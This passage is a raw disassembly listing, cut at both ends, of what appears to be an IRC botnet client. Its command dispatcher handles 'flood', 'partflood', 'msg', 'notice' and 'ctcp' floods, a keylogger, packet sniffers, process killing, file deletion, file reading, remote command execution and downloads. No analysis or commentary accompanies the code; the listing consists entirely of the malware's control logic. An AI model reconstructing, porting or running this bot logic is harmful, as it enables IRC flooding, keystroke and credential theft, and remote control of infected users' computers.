0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2670914h push eax push offset unk_42B5A0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call near ptr 26808E8h nop push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B538 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B534 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B51C call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B508 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA64 ; " " push offset dword_42B530 push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 26808E8h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B498 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B484 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B480 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF nop call near ptr 26808E8h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B458 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B520 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B410 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3F8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3E0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B410 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D403C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB03C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA75C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B380 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B280 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B250 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj call near ptr 2670914h nop push eax push offset dword_42B214 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B1AC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B184 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B154 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2670914h push eax push offset unk_42B118 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0D8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B0A8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B080 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B054 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 267009Ch imul esi, 234h cmp eax, ebx mov dword_43DEF4[esi], eax jnz loc_40828B nop call near ptr 2670914h push eax push offset dword_42B020 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFE8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AFC8 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF7C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF50 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AF30 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AF0C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_C58] imul ecx, 